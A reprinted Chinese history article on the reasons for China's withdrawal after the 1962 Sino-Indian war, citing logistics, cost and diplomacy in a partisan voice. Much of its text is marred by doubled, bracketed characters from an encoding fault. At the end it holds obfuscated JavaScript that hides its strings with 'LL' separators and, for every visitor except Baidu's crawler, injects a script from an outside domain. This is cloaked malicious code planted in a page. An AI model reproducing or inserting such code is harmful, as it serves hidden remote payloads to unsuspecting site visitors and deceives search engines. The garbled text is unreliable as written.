當(dāng)前位置:首頁(yè) > 歷史 > 戰(zhàn)史風(fēng)云 > 正文

中印戰(zhàn)爭(zhēng)中我國(guó)突然撤軍的難言之隱是什么?

2017-04-28 19:35:10  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):上世紀(jì)五十年代末、六十年代初,印度在中印邊界不斷制造事端之時(shí),正是美國(guó)對(duì)我發(fā)動(dòng)冷戰(zhàn)最激烈以及中蘇關(guān)系破裂、兩國(guó)矛盾擴(kuò)大時(shí)期,美蘇在

上世紀(jì)五十年代末、六十年代初,印度在中印邊界不斷制造事端之時(shí),正是美國(guó)對(duì)我發(fā)動(dòng)冷戰(zhàn)最激烈以及中蘇關(guān)系破裂、兩國(guó)矛盾擴(kuò)大時(shí)期,美蘇在政治和軍事上都對(duì)印度給予支持。此時(shí),盤踞在臺(tái)灣的蔣介石集團(tuán)也 “趁火打劫”,不斷叫囂“反攻大陸”,美、蔣聯(lián)手不斷派飛機(jī)對(duì)我東南邊境及內(nèi)地進(jìn)行侵襲、騷擾和破壞。應(yīng)該說(shuō),中國(guó)當(dāng)時(shí)四面受敵,國(guó)際及周邊形勢(shì)異常嚴(yán)峻。

與此同時(shí),我國(guó)國(guó)內(nèi)形勢(shì)也不樂(lè)觀。 1958年的“大躍進(jìn)”、美國(guó)等西方國(guó)家的遏制、封鎖和蘇聯(lián)的背信棄義以及嚴(yán)重的自然災(zāi)害等“天災(zāi)人禍”,使我國(guó)國(guó)民經(jīng)濟(jì)出現(xiàn)嚴(yán)重困難,不少地區(qū)出現(xiàn)饑荒。因此,在這種“內(nèi)外交困”的情況下,中國(guó)在有效教訓(xùn)了印度之后及時(shí)撤軍,適時(shí)調(diào)整我國(guó)的外交戰(zhàn)略,有助于我國(guó)在經(jīng)濟(jì)建設(shè)和外交、國(guó)防建設(shè)等多方面,取得更大成就。

“易攻難守”,后勤困難

在中印邊界中國(guó)一側(cè),地形以高山和叢林為主,地勢(shì)險(xiǎn)峻,氣候惡劣,交通不便,而且一年中有半年時(shí)間為冰封期。惡劣的環(huán)境和條件給我軍造成了后勤保障上的極大困難。當(dāng)年,我軍之所以選擇10月下旬教訓(xùn)印度,其中一個(gè)重要原因正是為了躲過(guò)雨季,以使運(yùn)輸作戰(zhàn)物資的道路條件更有保障。但一進(jìn)入11月,西藏便開(kāi)始面臨大雪封山的威脅,行車?yán)щy又開(kāi)始增加。當(dāng)時(shí),對(duì)印反擊戰(zhàn)的后勤保障主要靠老鄉(xiāng)支前和牦牛運(yùn)輸。據(jù)有關(guān)資料顯示,一次戰(zhàn)役,即需支前牦牛三萬(wàn)多頭。其它所有物資以及傷員烈士等,都要依靠老鄉(xiāng)手拉肩扛。所以,西藏高原上的運(yùn)輸問(wèn)題,是我軍后勤體系幾乎無(wú)法解決的瓶頸。

而印度在后勤條件上,比中國(guó)有利得多。在印度一側(cè),地勢(shì)開(kāi)始漸趨平緩。同時(shí),印度背后是南亞平原,有條件修建良好的公路網(wǎng),運(yùn)輸幾乎暢通無(wú)阻。因此,一旦戰(zhàn)爭(zhēng)變成長(zhǎng)久對(duì)峙,雙方在運(yùn)輸條件方面的差距就會(huì)產(chǎn)生越來(lái)越大的作用。何況,應(yīng)印度政府的要求,美國(guó)和英國(guó)已經(jīng)開(kāi)始將大批軍火運(yùn)抵印度,尼赫魯還向英美要求提供15個(gè)轟炸機(jī)中隊(duì),以空中打擊阻止中國(guó)軍隊(duì)。

鞏固邊防,代價(jià)高昂

實(shí)際上,即使是在和平條件下維持西藏地區(qū)基本邊防,也是非常艱難和昂貴的。當(dāng)年十八軍進(jìn)藏時(shí),開(kāi)始只有三個(gè)步兵師三萬(wàn)余人。隨著進(jìn)軍深入,運(yùn)輸補(bǔ)給線不斷延長(zhǎng),后方機(jī)構(gòu)迅速膨脹,相繼成立了汽車部隊(duì)、工兵部隊(duì)、兵站系統(tǒng)、航空站和地勤站等,部隊(duì)總?cè)藬?shù)擴(kuò)到七萬(wàn)余人。但真正進(jìn)藏部隊(duì)只有八千多人,其他人都是服務(wù)于后勤,相當(dāng)于每進(jìn)藏一個(gè)人,后方要有八個(gè)人支援。解放初期,西藏地區(qū)物資奇缺乏。即便如此,為了保持穩(wěn)定,毛澤東仍專門指示我駐西藏部隊(duì)不準(zhǔn)在當(dāng)?shù)刭I糧。

后勤費(fèi)用更是天文數(shù)字。在西藏墨脫縣,我軍駐有一個(gè)營(yíng),所需物資曾依靠雇傭老百姓翻山越嶺背送。僅此一項(xiàng),一年所需費(fèi)用即達(dá)1000萬(wàn)到2000萬(wàn)元人民幣。而一輛能在西藏使用的裝甲車,其價(jià)值不過(guò)200萬(wàn)元左右。但要配備一個(gè)裝甲團(tuán),至少要一二百輛裝甲車,因此僅在裝甲車上的一項(xiàng)花費(fèi),即是幾億元。在當(dāng)年的情況下,鞏固邊防特別是西藏地區(qū)的邊防,其面臨的困難是難以想象的。這也是當(dāng)年中國(guó)主動(dòng)撤軍所考慮的非常重要的因素。

展示誠(chéng)意,廓清是非

實(shí)際上,主動(dòng)撤軍是戰(zhàn)前、戰(zhàn)爭(zhēng)期間以及戰(zhàn)后,中國(guó)政府的一貫主張。戰(zhàn)前,黨中央和毛澤東主席就曾表示過(guò)這種意向。對(duì)印反擊,是中國(guó)政府被迫無(wú)奈的選擇。當(dāng)?shù)谝浑A段自衛(wèi)反擊作戰(zhàn)取得勝利后,我軍正處于十分有利的態(tài)勢(shì)時(shí),中國(guó)政府為表示誠(chéng)意,即提出和平解決中印邊界問(wèn)題的三項(xiàng)建議,即停止戰(zhàn)爭(zhēng),重開(kāi)談判,雙方武裝部隊(duì)脫離接觸并從實(shí)際控制線各自后撤20公里(甚至表示愿從“麥克馬洪線”后撤20公里)。

但是,尼赫魯政府卻拒不接受中國(guó)政府的好意,反而變本加厲。在此情況下,我軍重拳出擊,以打促和,經(jīng)過(guò)第二次打擊,終于實(shí)現(xiàn)了邊界安定的愿望,達(dá)到了毛澤東主席 “起碼保證邊界一帶幾十年的安定”的目的。此后,尼赫魯在邊境線上欲打打不過(guò)、欲和丟臉面,維持了相對(duì)長(zhǎng)時(shí)期的和平局面。老年生活報(bào):程鮮彩

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}